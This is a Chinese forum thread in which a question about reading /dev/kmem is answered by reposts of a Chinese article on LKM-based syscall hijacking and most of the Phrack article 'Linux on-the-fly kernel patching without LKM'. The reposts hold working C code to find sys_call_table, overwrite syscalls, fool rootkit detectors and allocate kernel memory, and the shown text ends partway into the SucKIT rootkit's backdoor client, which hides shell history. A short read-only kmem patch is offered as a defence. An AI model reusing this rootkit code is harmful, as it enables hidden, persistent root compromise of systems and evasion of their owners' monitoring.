免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 2098 | 回复: 6
打印 上一主题 下一主题

[故障求助] 请教关于读取kmem的问题 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2006-02-05 16:20 |只看该作者 |倒序浏览
想知道如何在AIX中读取/dev/kmem的信息,是否有大虾帮忙指导一下呀,谢谢了。能不能给一段代码示范一下,谢谢了!

论坛徽章:
0
2 [报告]
发表于 2006-06-23 16:32 |只看该作者

初入江湖小虾米迟到的回答!

Linux2.4.18内核下基于LKM的系统调用劫持

作者:snoworchid 文章来源:红客联盟 点击数: 335 更新时间:2004-7-27


注:本文提到的方法和技巧,如有兴趣请参考后面提到的两篇参考文章,虽然比较老了,但是对于本文内容的实现有很大的参考价值。因为篇幅关系,没有列出完整代码,但是核心代码已经全部给出。
Linux现在使用是越来越多了,因此Linux的安全问题现在也慢慢为更多人所关注。Rootkit是攻击者用来隐藏踪迹和保留root访问权限的工具集,在这些工具当中,基于LKM的rootkit尤其受到关注。这些rootkit可以实现隐藏文件、隐藏进程、重定向可执行文件,给linux的安全带来很大的威胁,它们所用到的技术主要是系统调用劫持。用LKM技术截获系统调用的通常步骤如下:
找到需要的系统调用在sys_call_table[]中的入口(参考include/sys/syscall.h)
保存sys_call_table[x]的旧入口指针。(x代表所想要截获的系统调用的索引)
将自定义的新的函数指针存入sys_call_table[x]
在Linux2.4.18内核以前,可以将sys_call_table导出来直接使用。因此修改系统调用非常容易,下面看一个例子:
extern void* sys_call_table[];/*sys_call_table被引入,所以可以存取*/
int (*orig_mkdir)(const char *path); /*保存原始系统调用的函数指针*/
int hacked_mkdir(const char *path)
{
return 0; /*一切正常,除了新建操作,该操作什么也不做*/
}
int init_module(void) /*初始化模块*/
{
orig_mkdir=sys_call_table[SYS_mkdir];
sys_call_table[SYS_mkdir]=hacked_mkdir;
return 0;
}
void cleanup_module(void) /*卸载模块*/
{
sys_call_table[SYS_mkdir]=orig_mkdir; /*恢复mkdir系统调用到原来的那个*/
}
在Linux2.4.18内核以后,为了解决这个安全问题,sys_call_table不能直接导出,因此上面这个代码拿到Linux2.4.18内核之后的内核上去编译加载,会在加载时报错。那么要怎么样才能得到sys_call_table,实现系统调用劫持呢?
一.怎么样得到sys_call_table的地址
1./dev/kmem
先看一下来自Linux手册页(man kmem)的介绍:“kmem是一个字符设备文件,是计算机主存的一个影象。它可以用于测试甚至修改系统。”也就是说,读取这个设备可以得到内存中的数据,因此,sys_call_table的地址也可以通过设备找到。这个设备通常只有root用户才有rw权限,因此只有root才能实现这些操作。
2.系统调用过程简述
每一个系统调用都是通过int 0x80中断进入核心,中断描述符表把中断服务程序和中断向量对应起来。对于系统调用来说,操作系统会调用system_call中断服务程序。system_call函数在系统调用表中根据系统调用号找到并调用相应的系统调用服务例程。
3.得到sys_call_table地址的过程
idtr寄存器指向中断描述符表的起始地址,用sidt[asm ("sidt %0" : "=m" (idtr));]指令得到中断描述符表起始地址,从这条指令中得到的指针可以获得int 0x80中断服描述符所在位置,然后计算出system_call函数的地址。现在反编译一下system_call函数看一下:
$ gdb -q /usr/src/linux/vmlinux
(no debugging symbols found)...(gdb) disass system_call
Dump of assembler code for function system_call:
……
0xc0106bf2 <system_call+42>: jne 0xc0106c48 <tracesys>
0xc0106bf4 <system_call+44>: call *0xc01e0f18(,%eax,4)
0xc0106bfb <system_call+51>: mov %eax,0x18(%esp,1)
0xc0106bff <system_call+55>: nop
End of assembler dump.
(gdb) print &sys_call_table
$1 = (<data variable, no debug info> *) 0xc01e0f18
(gdb) x/xw (system_call+44)
0xc0106bf4 <system_call+44>: 0x188514ff <-- 得到机器指令 (little endian)
(gdb)
我们可以看到在system_call函数内,是用call *0xc01e0f18指令来调用系统调用函数的。因此,只要找到system_call里的call sys_call_table(,eax,4)指令的机器指令就可以了。我们使用模式匹配的方式来获得这条机器指令的地址。这样就必须读取/dev/kmem里面的数据。
二.如何在module里使用标准系统调用
处理/dev/kmem里的数据只需要用标准的系统调用就可以了,如:open,lseek,read。
但module里不能使用标准系统调用。为了在module里使用标准系统调用,我们要在module里实现系统调用函数。看看内核源代码里的实现吧:
#define __syscall_return(type, res) \
do { \
    if ((unsigned long)(res) >= (unsigned long)(-125)) { \
        errno = -(res); \
        res = -1; \
    } \
    return (type) (res); \
} while (0)
#define _syscall1(type,name,type1,arg1) \
type name(type1 arg1) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
    : "=a" (__res) \
    : "0" (__NR_##name),"b" ((long)(arg1))); \
__syscall_return(type,__res); \
}
static inline _syscall1(int,close,int,fd)
我们可以学习这样的方法,这样只要将这些代码加入到我们的module的代码里面,就可以在module里使用这些标准系统调用了。
另外,为了用匹配搜索的方式查找sys_call_table的地址,我们可以用memmem函数。不过memmem是GNU C扩展的函数,它的函数原型是:void *memmem(void *s,int s_len,void *t,int t_len);同样的,module里也不能使用库函数,但是我们可以自己实现这个函数。
然而在module里使用标准系统调用还有个问题,系统调用需要的参数要求要在用户空间而不是在module所在的内核空间。
Linux使用了段选器来区分内核空间、用户空间等等。被系统调用所用到的而存放在用户空间中的参数应该在数据段选器(所指的)范围的某个地方。DS能够用asm/uaccess.h中的get_ds()函数得到。只要我们把被内核用来指向用户段的段选器设成所需要的 DS值,我们就能够在内核中访问系统调用所用到的(那些在用户地址空间中的)那些用做参数值的数据。这可以通过调用set_fs(...)来做到。但要小心,访问完系统调用的参数后,一定要恢复FS。下面是一段例子:
filename内核空间;比如说我们刚创建了一个字串
unsigned long old_fs_value=get_fs();
set_fs(get_ds); /*完成之后就可以存取用户空间了*/
open(filename, O_CREAT|O_RDWR|O_EXCL, 0640);
set_fs(old_fs_value); /*恢复 fs ...*/
三.在module里实现sys_call_table地址查找的代码实现
主要代码如下:
/*实现系统调用*/
unsigned long errno;
#define __syscall_return(type, res) \
do { \
    if ((unsigned long)(res) >= (unsigned long)(-125)) { \
        errno = -(res); \
        res = -1; \
    } \
    return (type) (res); \
} while (0)
#define _syscall1(type,name,type1,arg1) \
type name(type1 arg1) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
    : "=a" (__res) \
    : "0" (__NR_##name),"b" ((long)(arg1))); \
__syscall_return(type,__res); \
}
#define _syscall3(type,name,type1,arg1,type2,arg2,type3,arg3) \
type name(type1 arg1,type2 arg2,type3 arg3) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
    : "=a" (__res) \
    : "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
         "d" ((long)(arg3))); \
__syscall_return(type,__res); \
}
static inline _syscall3(int,write,int,fd,const char *,buf,off_t,count)
static inline _syscall3(int,read,int,fd,char *,buf,off_t,count)
static inline _syscall3(off_t,lseek,int,fd,off_t,offset,int,count)
static inline _syscall3(int,open,const char *,file,int,flag,int,mode)
static inline _syscall1(int,close,int,fd)
/*从这里以后就可以使用这几个系统调用了*/

struct {
unsigned short limit;
unsigned int base;
} __attribute__ ((packed)) idtr;
struct {
unsigned short off1;
unsigned short sel;
unsigned char none,flags;
unsigned short off2;
} __attribute__ ((packed)) idt;
int kmem;
void readkmem (void *m,unsigned off,int sz)
{
    mm_segment_t old_fs_value=get_fs();
set_fs(get_ds());   
if (lseek(kmem,off,0)!=off) {
printk("kmem lseek error in read\n"; return;
}
if (read(kmem,m,sz)!=sz) {
printk("kmem read error!\n"; return;
}
    set_fs(old_fs_value);
}
#define CALLOFF 100 /* 我们将读出int $0x80的头100个字节 */
/*得到sys_call_table的地址*/
unsigned getscTable()
{
unsigned sct;
unsigned sys_call_off;
char sc_asm[CALLOFF],*p;
/* 获得IDTR寄存器的值 */
asm ("sidt %0" : "=m" (idtr));
     mm_segment_t old_fs_value=get_fs();
     const char *filename="/dev/kmem";
     set_fs(get_ds());
/* 打开kmem */
kmem = open (filename,O_RDONLY,0640);
if (kmem<0)
     {
            printk("open error!";
     }
     set_fs(old_fs_value);
/* 从IDT读出0x80向量 (syscall) */
readkmem (&idt,idtr.base+8*0x80,sizeof(idt));
sys_call_off = (idt.off2 << 16) | idt.off1;
/* 寻找sys_call_table的地址 */
readkmem (sc_asm,sys_call_off,CALLOFF);
p = (char*)mymem (sc_asm,CALLOFF,"\xff\x14\x85",3);
sct = *(unsigned*)(p+3);
     close(kmem);
        return sct;
}
好了,但是上面的函数没有做足够的错误检查。
四.劫持系统调用
在得到了sys_call_table的地址后,我们就可以很轻易的劫持系统调用了。
我们把最开始的那个例子修改一下,让它运行在2.4.18的内核。
系统调用的劫持过程主要代码如下:
static unsigned SYS_CALL_TABLE_ADDR;
void **sys_call_table;
int init_module(void)
{
SYS_CALL_TABLE_ADDR= getscTable();
    sys_call_table=(void **)SYS_CALL_TABLE_ADDR;
    orig_mkdir=sys_call_table[__NR_mkdir];
    sys_call_table[__NR_mkdir]=hacked_mkdir;
    return 0;   
}
void cleanup_module(void)
{
    sys_call_table[__NR_mkdir]=orig_mkdir;
}
五.综述
虽然内核2.4.18以后不再导出sys_call_table,但是我们仍然可以通过读/dev/kmem设备文件得到它的地址,来实现系统调用的劫持。要解决这个问题,最好是使/dev/kmem不可读,或者干脆不使用这个设备文件。否则,总会给安全带来隐患。
参考资料:
Phrack58-0x07 Linux on-the-fly kernel patching without LKM
(nearly) Complete Linux Loadable Kernel Modules -the definitive guide for hackers, virus coders and system administrators- written by pragmatic / THC, version 1.0 released 03/1999
http://reactor-core.org/linux-kernel-hacking.html
:

论坛徽章:
0
3 [报告]
发表于 2006-06-23 16:45 |只看该作者

When you are feeling weary small,we will comfort you!

Linux on-the-fly kernel patching without LKM

==Phrack Inc.==
Volume 0x0b, Issue 0x3a, Phile #0x07 of 0x0e
|=----------=[ Linux on-the-fly kernel patching without LKM ]=-----------=|
|=-----------------------------------------------------------------------=|
|=---------------=[ sd <sd@sf.cz>, devik <devik@cdi.cz> ]=---------------=|
|=----------------------=[ December 12th 2001 ]=-------------------------=|
--[ Contents
1 - Introduction
2 - /dev/kmem is our friend
3 - Replacing kernel syscalls, sys_call_table[]
3.1 - How to get sys_call_table[] without LKM ?
3.2 - Redirecting int 0x80 call sys_call_table[eax] dispatch
4 - Allocating kernel space without help of LKM support
4.1 - Searching kmalloc() using LKM support
4.2 - pattern search of kmalloc()
4.3 - The GFP_KERNEL value
4.4 - Overwriting a syscall
5 - What you should take care of
6 - Possible solutions
7 - Conclusion
8 - References
9 - Appendix: SucKIT: The implementation

※※※※※1 - Introduction
In the beginning, we must thank Silvio Cesare, who developed the
technique of kernel patching a long time ago, most of ideas was stolen
from him.
In this paper, we will discuss way of abusing the Linux kernel
(syscalls mostly) without help of module support or System.map at all,
so that we assume that the reader will have a clue about what LKM is,
how a LKM is loaded into kernel etc. If you are not sure, look at some
documentation (paragraph 6. [1], [2], [3])
Imagine a scenario of a poor man which needs to change some interesting
linux syscall and LKM support is not compiled in. Imagine he have got a
box, he got root but the admin is so paranoid and he (or tripwire) don't
poor man's patched sshd and that box have not gcc/lib/.h
needed for compiling of his favourite LKM rootkit. So there are
some solutions, step by step and as an appendix, a full-featured
linux-ia32 rootkit, an example/tool, which implements all the techinques
described here.
Most of things described there (such as syscalls, memory addressing
schemes ... code too) can work only on ia32 architecture. If someone
investigate(d) to other architectures, please contact us.


※※※※※--[ 2 - /dev/kmem is our friend
"Mem is a character device file that is an image of the main memory of
the computer. It may be used, for example, to examine (and even patch)
the system."
-- from the Linux 'mem' man page
For full and complex documentation about run-time kernel patching take a
look at excellent Silvio's article about this subject [2].
Just in short:
Everything we do in this paper with kernel space is done using the
standard linux device, /dev/kmem. Since this device is mostly +rw only for
root, you must be root too if you want to abuse it.
Note that changing of /dev/kmem permission to gain access is not
sufficient. After /dev/kmem access is allowed by VFS then there is second
check in device/char/mem.c for capable(CAP_SYS_RAWIO) of process.
We should also note that there is another device, /dev/mem.
It is physical memory before VM translation. It might be possible to use it
if we were know page directory location. We didn't investigate this
possibility.
Selecting address is done through lseek(), reading using read() and
writing with help of write() ... simple.
There are some helpful functions for working with kernel stuff:


CODE

/* read data from kmem */
static inline int rkm(int fd, int offset, void *buf, int size)
{
if (lseek(fd, offset, 0) != offset) return 0;
if (read(fd, buf, size) != size) return 0;
return size;
}
/* write data to kmem */
static inline int wkm(int fd, int offset, void *buf, int size)
{
if (lseek(fd, offset, 0) != offset) return 0;
if (write(fd, buf, size) != size) return 0;
return size;
}
/* read int from kmem */
static inline int rkml(int fd, int offset, ulong *buf)
{
return rkm(fd, offset, buf, sizeof(ulong));
}
/* write int to kmem */
static inline int wkml(int fd, int offset, ulong buf)
{
return wkm(fd, offset, &buf, sizeof(ulong));
}



※※※※--[ 3 - Replacing kernel syscalls, sys_call_table[]
As we all know, syscalls are the lowest level of system functions (from
viewpoint of userspace) in Linux, so we'll be interested mostly in them.
Syscalls are grouped together in one big table (sct), it is just a
one-dimension array of 256 ulongs (=pointers, on ia32 architecture),
where indexing the array by a syscall number gives us the entrypoint of
given syscall. That's it.
An example pseudocode:


/* as everywhere, "Hello world" is good for begginers */
/* our saved original syscall */
int (*old_write) (int, char *, int);
/* new syscall handler */
new_write(int fd, char *buf, int count) {
if (fd == 1) { /* stdout ? */
old_write(fd, "Hello world!\n", 13);
return count;
} else {
return old_write(fd, buf, count);
}
}
old_write = (void *) sys_call_table[__NR_write]; /* save old */
sys_call_table[__NR_write] = (ulong) new_write; /* setup new one */
/* Err... there should be better things to do instead fucking up console
with "Hello worlds"  */
This is the classic scenario of a various LKM rootkits (see paragraph 7),
tty sniffers/hijackers (the halflife's one, f.e. [4]) where it is guaranted
that we can import sys_call_table[] and manipulate it in a correct manner,
i.e. it is simply "imported" by /sbin/insmod
[ using create_module() / init_module() ]
Uhh, let's stop talking about nothing, we think this is clear enough for
everybody.
--[ 3.1 - How to get sys_call_table[] without LKM
At first, note that the Linux kernel _doesn not keep_ any kinda of
information about it's symbols in case when there is no LKM support
compiled in. It is rather a clever decision because why could someone need
it without LKM ? For debugging ? You have System.map instead. Well WE need
it  With LKM support there are symbols intended to be imported into LKMs
(in their special linker section), but we said without LKM, right ?
As far we know, the most elegant way how to obtain sys_call_table[] is:
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
struct {
unsigned short limit;
unsigned int base;
} __attribute__ ((packed)) idtr;
struct {
unsigned short off1;
unsigned short sel;
unsigned char none,flags;
unsigned short off2;
} __attribute__ ((packed)) idt;
int kmem;
void readkmem (void *m,unsigned off,int sz)
{
if (lseek(kmem,off,SEEK_SET)!=off) {
perror("kmem lseek"; exit(2);
}
if (read(kmem,m,sz)!=sz) {
perror("kmem read"; exit(2);
}
}
#define CALLOFF 100 /* we'll read first 100 bytes of int $0x80*/
main ()
{
unsigned sys_call_off;
unsigned sct;
char sc_asm[CALLOFF],*p;
/* well let's read IDTR */
asm ("sidt %0" : "=m" (idtr));
printf("idtr base at 0x%X\n",(int)idtr.base);
/* now we will open kmem */
kmem = open ("/dev/kmem",O_RDONLY);
if (kmem<0) return 1;
/* read-in IDT for 0x80 vector (syscall) */
readkmem (&idt,idtr.base+8*0x80,sizeof(idt));
sys_call_off = (idt.off2 << 16) | idt.off1;
printf("idt80: flags=%X sel=%X off=%X\n",
(unsigned)idt.flags,(unsigned)idt.sel,sys_call_off);
/* we have syscall routine address now, look for syscall table
dispatch (indirect call) */
readkmem (sc_asm,sys_call_off,CALLOFF);
p = (char*)memmem (sc_asm,CALLOFF,"\xff\x14\x85",3);
sct = *(unsigned*)(p+3);
if (p) {
printf ("sys_call_table at 0x%x, call dispatch at 0x%x\n",
sct, p);
}
close(kmem);
}
How it works ? The sidt instruction "asks the processor" for the interrupt
descriptor table [asm ("sidt %0" : "=m" (idtr));], from
this structure we will get a pointer to the interrupt descriptor of
int $0x80 [readkmem (&idt,idtr.base+8*0x80,sizeof(idt));].
>From the IDT we can compute the address of int $0x80's entrypoint
[sys_call_off = (idt.off2 << 16) | idt.off1;]
Good, we know where int $0x80 began, but that is not our loved
sys_call_table[]. Let's take a look at the int $0x80 entrypoint:
[sd@pikatchu linux]$ gdb -q /usr/src/linux/vmlinux
(no debugging symbols found)...(gdb) disass system_call
Dump of assembler code for function system_call:
0xc0106bc8 <system_call>: push %eax
0xc0106bc9 <system_call+1>: cld
0xc0106bca <system_call+2>: push %es
0xc0106bcb <system_call+3>: push %ds
0xc0106bcc <system_call+4>: push %eax
0xc0106bcd <system_call+5>: push %ebp
0xc0106bce <system_call+6>: push %edi
0xc0106bcf <system_call+7>: push %esi
0xc0106bd0 <system_call+8>: push %edx
0xc0106bd1 <system_call+9>: push %ecx
0xc0106bd2 <system_call+10>: push %ebx
0xc0106bd3 <system_call+11>: mov $0x18,%edx
0xc0106bd8 <system_call+16>: mov %edx,%ds
0xc0106bda <system_call+18>: mov %edx,%es
0xc0106bdc <system_call+20>: mov $0xffffe000,%ebx
0xc0106be1 <system_call+25>: and %esp,%ebx
0xc0106be3 <system_call+27>: cmp $0x100,%eax
0xc0106be8 <system_call+32>: jae 0xc0106c75 <badsys>
0xc0106bee <system_call+38>: testb $0x2,0x18(%ebx)
0xc0106bf2 <system_call+42>: jne 0xc0106c48 <tracesys>
0xc0106bf4 <system_call+44>: call *0xc01e0f18(,%eax,4) <-- that's it
0xc0106bfb <system_call+51>: mov %eax,0x18(%esp,1)
0xc0106bff <system_call+55>: nop
End of assembler dump.
(gdb) print &sys_call_table
$1 = (<data variable, no debug info> *) 0xc01e0f18 <-- see ? it's same
(gdb) x/xw (system_call+44)
0xc0106bf4 <system_call+44>: 0x188514ff <-- opcode (little endian)
(gdb)
In short, near to beginning of int $0x80 entrypoint is
'call sys_call_table(,eax,4)' opcode, because this indirect call does not
vary between kernel versions (it is same on 2.0.10 => 2.4.10), it's
relatively safe to search just for pattern of 'call <something>(,eax,4)'
opcode = 0xff 0x14 0x85 0x<address_of_table>
[memmem (sc_asm,CALLOFF,"\xff\x14\x85",3);]
Being paranoid, one could do a more robust hack. Simply redirect whole
int $0x80 handler in IDT to our fake handler and intercept interesting
calls here. It is a bit more complicated as we would have to handle
reentrancy ...
At this time, we know where sys_call_table[] is and we can change the
address of some syscalls:
Pseudocode:
readkmem(&old_write, sct + __NR_write * 4, 4); /* save old */
writekmem(new_write, sct + __NR_write * 4, 4); /* set new */
--[ 3.2 - Redirecting int $0x80 call sys_call_table[eax] dispatch
When writing this article, we found some "rootkit detectors"
on Packetstorm/Freshmeat. They are able to detect the fact that
something is wrong with a LKM/syscalltable/other kernel
stuff...fortunately, most of them are too stupid and can be simply
fooled by the the trick introduced in [6] by SpaceWalker:
Pseudocode:
ulong sct = addr of sys_call_table[]
char *p = ptr to int 0x80's call sct(,eax,4) - dispatch
ulong nsct[256] = new syscall table with modified entries
readkmem(nsct, sct, 1024); /* read old */
old_write = nsct[__NR_write];
nsct[__NR_write] = new_write;
/* replace dispatch to our new sct */
writekmem((ulong) p+3, nsct, 4);
/* Note that this code never can work, because you can't
redirect something kernel related to userspace, such as
sct[] in this case */
Background:
We create a copy of the original sys_call_table[] [readkmem(nsct, sct,
1024);], then we will modify entries which we're interested in [old_write =
nsct[__NR_write]; nsct[__NR_write] = new_write;] and then change _only_
addr of <something> in the call <something>(,eax,4):
0xc0106bf4 <system_call+44>: call *0xc01e0f18(,%eax,4)
~~~~|~~~~~
|__ Here will be address of
_our_ sct[]
LKM detectors (which does not check consistency of int $0x80) won't see
anything, sys_call_table[] is the same, but int $0x80 uses our implanted
table.
--[ 4 - Allocating kernel space without help of LKM support
Next thing that we need is a memory page above the 0xc0000000
(or 0x80000000) address.
The 0xc0000000 value is demarcation point between user and kernel memory.
User processes have not access above the limit. Take into account
that this value is not exact, and may be different, so it is good idea
to figure out the limit on the fly (from int $0x80's entrypoint).
Well, how to get our page above the limit ? Let's take a look how regular
kernel LKM support does it (/usr/src/linux/kernel/module.c):
...
void inter_module_register(const char *im_name, struct module *owner,
const void *userdata)
{
struct list_head *tmp;
struct inter_module_entry *ime, *ime_new;
if (!(ime_new = kmalloc(sizeof(*ime), GFP_KERNEL))) {
/* Overloaded kernel, not fatal */
...
As we expected, they used kmalloc(size, GFP_KERNEL) ! But we can't use
kmalloc() yet because:
- We don't know the address of kmalloc() [ paragraph 4.1, 4.2 ]
- We don't know the value of GFP_KERNEL [ paragraph 4.3 ]
- We can't call kmalloc() from user-space [ paragraph 4.4 ]
--[ 4.1 - Searching for kmalloc() using LKM support
If we can use LKM support:
/* kmalloc() lookup */
/* simplest & safest way, but only if LKM support is there */
ulong get_sym(char *n) {
struct kernel_sym tab[MAX_SYMS];
int numsyms;
int i;
numsyms = get_kernel_syms(NULL);
if (numsyms > MAX_SYMS || numsyms < 0) return 0;
get_kernel_syms(tab);
for (i = 0; i < numsyms; i++) {
if (!strncmp(n, tab.name, strlen(n)))
return tab.value;
}
return 0;
}
ulong get_kma(ulong pgoff)
{
ret = get_sym("kmalloc";
if (ret) return ret;
return 0;
}
We leave this without comments.
--[ 4.2 - pattern search of kmalloc()
But if LKM is not there, were getting into troubles. The solution
is quite dirty, and not-so-good by the way, but it seem to work.
We'll walk through kernel's .text section and look for patterns such as:
push GFP_KERNEL <something between 0-0xffff>
push size <something between 0-0x1ffff>
call kmalloc
All info will be gathered into a table, sorted and the function called most
times will be our kmalloc(), here is code:
/* kmalloc() lookup */
#define RNUM 1024
ulong get_kma(ulong pgoff)
{
struct { uint a,f,cnt; } rtab[RNUM], *t;
uint i, a, j, push1, push2;
uint found = 0, total = 0;
uchar buf[0x10010], *p;
int kmem;
ulong ret;
/* uhh, before we try to brute something, attempt to do things
in the *right* way  ) */
ret = get_sym("kmalloc";
if (ret) return ret;
/* humm, no way  ) */
kmem = open(KMEM_FILE, O_RDONLY, 0);
if (kmem < 0) return 0;
for (i = (pgoff + 0x100000); i < (pgoff + 0x1000000);
i += 0x10000) {
if (!loc_rkm(kmem, buf, i, sizeof(buf))) return 0;
/* loop over memory block looking for push and calls */
for (p = buf; p < buf + 0x10000 {
switch (*p++) {
case 0x68:
push1 = push2;
push2 = *(unsigned*)p;
p += 4;
continue;
case 0x6a:
push1 = push2;
push2 = *p++;
continue;
case 0xe8:
if (push1 && push2 &&
push1 <= 0xffff &&
push2 <= 0x1ffff) break;
default:
push1 = push2 = 0;
continue;
}
/* we have push1/push2/call seq; get address */
a = *(unsigned *) p + i + (p - buf) + 4;
p += 4;
total++;
/* find in table */
for (j = 0, t = rtab; j < found; j++, t++)
if (t->a == a && t->f == push1) break;
if (j < found)
t->cnt++;
else
if (found >= RNUM) {
return 0;
}
else {
found++;
t->a = a;
t->f = push1;
t->cnt = 1;
}
push1 = push2 = 0;
} /* for (p = buf; ... */
} /* for (i = (pgoff + 0x100000) ...*/
close(kmem);
t = NULL;
for (j = 0;j < found; j++) /* find a winner */
if (!t || rtab[j].cnt > t->cnt) t = rtab+j;
if (t) return t->a;
return 0;
}
The code above is a simple state machine and it doesn't bother itself with
potentionaly different asm code layout (when you use some exotic GCC
options). It could be extended to understand different code patterns (see
switch statement) and can be made more accurate by checking GFP value in
PUSHes against known patterns (see paragraph bellow).
The accuracy of this code is about 80% (i.e. 80% points to kmalloc, 20% to
some junk) and seem to work on 2.2.1 => 2.4.13 ok.
--[ 4.3 The GFP_KERNEL value
Next problem we get while using kmalloc() is the fact that value of
GFP_KERNEL varies between kernel series, but we can get rid of it
by help of uname()
+-----------------------------------+
| kernel version | GFP_KERNEL value |
+----------------+------------------+
| 1.0.x .. 2.4.5 | 0x3 |
+----------------+------------------+
| 2.4.6 .. 2.4.x | 0x1f0 |
+----------------+------------------+
Note that there is some troubles with 2.4.7-2.4.9 kernels, which
sometimes crashes due to bad GFP_KERNEL, simply because
the table above is not exact, it only shows values we CAN use.
The code:
#define NEW_GFP 0x1f0
#define OLD_GFP 0x3
/* uname struc */
struct un {
char sysname[65];
char nodename[65];
char release[65];
char version[65];
char machine[65];
char domainname[65];
};
int get_gfp()
{
struct un s;
uname(&s);
if ((s.release[0] == '2') && (s.release[2] == '4') &&
(s.release[4] >= '6' ||
(s.release[5] >= '0' && s.release[5] <= '9'))) {
return NEW_GFP;
}
return OLD_GFP;
}
--[ 4.3 - Overwriting a syscall
As we mentioned above, we can't call kmalloc() from user-space directly,
solution is Silvio's trick [2] of replacing syscall:
1. Get address of some syscall
(IDT -> int 0x80 -> sys_call_table)
2. Create a small routine which will call kmalloc() and return
pointer to allocated page
3. Save sizeof(our_routine) bytes of some syscall
4. Overwrite code of some syscall by our routine
5. Call this syscall from userspace thru int $0x80, so
our routine will operate in kernel context and
can call kmalloc() for us passing out the
address of allocated memory as return value.
6. Restore code of some syscall with saved bytes (in step 3.)
our_routine may look as something like that:
struct kma_struc {
ulong (*kmalloc) (uint, int);
int size;
int flags;
ulong mem;
} __attribute__ ((packed));
int our_routine(struct kma_struc *k)
{
k->mem = k->kmalloc(k->size, k->flags);
return 0;
}

论坛徽章:
0
4 [报告]
发表于 2006-06-23 16:48 |只看该作者

WE OWE A LOT TO YOU!

In this case we directly pass needed info to our routine.
Now we have kernel memory, so we can copy our handling routines
there, point entries in fake sys_call_table to them, infiltrate
this fake table into int $0x80 and enjoy the ride  
--[ 5 - What you should take care of
It would be good idea to follow these rules when writing something using
this technique:
- Take care of kernel versions (We mean GFP_KERNEL).
- Play _only_ with syscalls, _do not_ use any internal kernel
structures including task_struct, if you want to stay portable
between kernel series.
- SMP may cause some troubles, remember to take care
about reentrantcy and where it is needed, use
user-space locks [ src/core.c#ualloc() ]
--[ 6 - Possible solutions
Okay, now from the good man's point of view. You probably would
like to defeat attacks of kids using such annoying toys. Then you
should apply following kmem read-only patch and disable LKM
support in your kernel.
<++> kmem-ro.diff
--- /usr/src/linux/drivers/char/mem.c Mon Apr 9 13:19:05 2001
+++ /usr/src/linux/drivers/char/mem.c Sun Nov 4 15:50:27 2001
@@ -49,6 +51,8 @@
const char * buf, size_t count, loff_t *ppos)
{
ssize_t written;
+ /* disable kmem write */
+ return -EPERM;
written = 0;
#if defined(__sparc__) || defined(__mc68000__)
<-->
Note that this patch can be source of troubles in conjuction with
some old utilities which depends on /dev/kmem writing ability.
That's payment for security.
--[ 7 - Conclusion
The raw memory I/O devices in linux seems to be pretty powerful.
Attackers (of course, with root privileges) can use them
to hide their actions, steal informations, grant remote access and so on
for a long time without being noticed. As far we know, there is not so
big use of these devices (in the meaning of write access), so it may be
good idea to disable their writing ability.
--[ 8 - References
[1] Silvio Cesare's homepage, pretty good info about low-level linux stuff
[http://www.big.net.au/~silvio]
[2] Silvio's article describing run-time kernel patching (System.map)
[http://www.big.net.au/~silvio/runtime-kernel-kmem-patching.txt]
[3] QuantumG's homepage, mostly virus related stuff
[http://biodome.org/~qg]
[4] "Abuse of the Linux Kernel for Fun and Profit" by halflife
[Phrack issue 50, article 05]
[5] "(nearly) Complete Linux Loadable Kernel Modules. The definitive guide
for hackers, virus coders and system administrators."
[http://www.thehackerschoice.com/papers]
At the end, I (sd) would like to thank to devik for helping me a lot with
this crap, to Reaction for common spelling checks and to anonymous
editor's friend which proved the quality of article a lot.
--[ 9 - Appendix - SucKIT: The implementation
I'm sure that you are smart enough, so you know how to extract, install and
use these files.
[MORONS HINT: Try Phrack extraction utility, ./doc/README]
ATTENTION: This is a full-working rootkit as an example of the technique
described above, the author doesn't take ANY RESPONSIBILITY for
any damage caused by (mis)use of this software.
<++> ./client/Makefile
client: client.c
$(CC) $(CFLAGS) -I../include client.c -o client
clean:
rm -f client core
<--> ./client/Makefile
<++> ./client/client.c
/* $Id: client.c, TTY client for our backdoor, see src/bd.c */
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/resource.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
#include <fcntl.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <net/if.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <termios.h>
#include <errno.h>
#include <string.h>
#define DEST_PORT 80
/* retry timeout, 15 secs works fine,
try lower values on slower networks */
#define RETRY 15
#include "ip.h"
int winsize;
char *envtab[] =
{
"",
"",
"LOGNAME=shitdown",
"USERNAME=shitdown",
"USER=shitdown",
"S1=[rewt@\\h \\W]\\$ ",
"HISTFILE=/dev/null",
"ATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:"
"/usr/local/sbin:/usr/X11R6/bin:./bin",
"!TERM",
NULL
};
int sendenv(int sock)
{
struct winsize ws;
#define ENVLEN 256
char envbuf[ENVLEN+1];
char buf1[256];
char buf2[256];
int i = 0;
ioctl(0, TIOCGWINSZ, &ws);
sprintf(buf1, "COLUMNS=%d", ws.ws_col);
sprintf(buf2, "LINES=%d", ws.ws_row);
envtab[0] = buf1; envtab[1] = buf2;
while (envtab) {
bzero(envbuf, ENVLEN);
if (envtab[0] == '!') {
char *env;
env = getenv(&envtab[1]);
if (!env) goto oops;
sprintf(envbuf, "%s=%s", &envtab[1], env);
} else {
strncpy(envbuf, envtab, ENVLEN);
}
if (write(sock, envbuf, ENVLEN) < ENVLEN) return 0;
oops:
i++;
}
return write(sock, "\n", 1);
}
void winch(int i)
{
signal(SIGWINCH, winch);
winsize++;
}
void sig_child(int i)
{
waitpid(-1, NULL, WNOHANG);
}
int usage(char *s)
{
printf(
"Usage:\n"
"\t%s <host> [source_addr] [source_port]\n\n"
,s);
return 1;
}
ulong resolve(char *s)
{
struct hostent *he;
struct sockaddr_in si;
/* resolve host */
bzero((char *) &si, sizeof(si));
si.sin_addr.s_addr = inet_addr(s);
if (si.sin_addr.s_addr == INADDR_NONE) {
